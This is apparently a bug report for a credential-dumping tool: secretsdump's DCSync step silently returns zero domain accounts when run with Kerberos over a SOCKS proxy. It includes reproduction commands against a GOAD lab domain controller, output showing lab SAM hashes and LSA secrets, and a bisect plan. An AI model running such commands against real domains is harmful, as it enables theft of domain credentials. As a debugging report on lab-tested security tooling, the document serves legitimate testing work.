secretsdump DCSync silently returns zero accounts (DRSUAPI step bails without error)

[psycep]

Summary

secretsdump -k reaches the DRSUAPI step, prints [*] Using the DRSUAPI method to get NTDS.DIT secrets, then jumps directly to [*] Cleaning up... with zero domain accounts extracted. Exit code is 0; no error surfaced. The earlier phases (local SAM dump + LSA Secrets) complete correctly.

Reproduction

Against GOAD with a writable DC, through SOCKS5 over IAP:

getTGT -proxy socks5://127.0.0.1:1080 -dc-ip 10.10.10.11 \
  'north.sevenkingdoms.local/administrator:<password>@10.10.10.11'
KRB5CCNAME=administrator.ccache \
  secretsdump -proxy socks5://127.0.0.1:1080 -k -no-pass \
  -dc-ip 10.10.10.11 -target-ip 10.10.10.11 \
  'north.sevenkingdoms.local/administrator@winterfell.north.sevenkingdoms.local'

Observed output (trimmed for brevity):

[*] Service RemoteRegistry is already RUNNING
[*] Retrieving class info for SYSTEM\CurrentControlSet\Control\Lsa\JD
[*] Target system bootKey: 0x10407b37737e73a461dbcc2d58aad707
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:dbd13e1c4e338284ac4e9874f7de6ef4:::
Guest:501:...
[*] Dumping LSA Secrets
NORTH\WINTERFELL$:aes256-cts-hmac-sha1-96:cc65b7279ce4cacfd92f059d720ff5bd93fe520a141814ba26385cef43ba08a0
...
NL$KM:d2015e5fa0971b367f1eac14a4aa036cb4f3e3c8e3cee0d054ae5c445de0c5e16537d6d5fdc484d94f91db6aa80092b0e4dae7babc604820b06228775b3fb79c
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
[*] Cleaning up...

Expected: the DRSUAPI step prints domain account hashes including krbtgt, the same way it did during my testing of #26 earlier in the day against the same lab and same target with the same credentials.

Suspected source

Between the known-good run and the failing run, two PRs landed on main that could plausibly affect this path:

• drsuapi: fix DsGetNCChanges V6 parser to actually extract NTDS hashes #16 drsuapi: fix DsGetNCChanges V6 parser to actually extract NTDS hashes (commit 8127aec) — directly rewrites the DRSUAPI response parser. Highest-likelihood bisect candidate.
• build(deps): bump github.com/Azure/go-ntlmssp from 0.0.0-20221128193559-754e69321358 to 0.1.1 #18 build(deps): bump github.com/Azure/go-ntlmssp to 0.1.1 — could affect NTLM-signed RPC framing. Lower likelihood given this run is Kerberos, not NTLM, but the dep is reachable from the dcerpc auth chain.

The merged kerberos-proxy-leak (#26) and fix-hive-resident-bounds (#27) changes themselves cannot be the cause: #26's Kerberos+DCERPC routing was the lab-validated configuration that produced the known-good run, and #27 only touches pkg/registry/hive.go (which is exercised in the SAM/LSA Secrets phase that still works).

Caveats

• Reproduction was against the GOAD lab with the proxy path; I did not repeat the test without -proxy, or with password auth instead of Kerberos. The regression may be specific to one of those axes.
• Lab DC state could have shifted (replication, DRS lock, etc.). A second reproduction on a freshly built target would help confirm this isn't environmental.
• The full pcap of the failing run is not retained (SOCKS tunnel and lab credentials were torn down after the test).

Suggested next step

Run git bisect against the same GOAD setup between 4890b97 (last known-good main before today's merges) and ae12780 (current main). PR #16 is the strongest first hypothesis.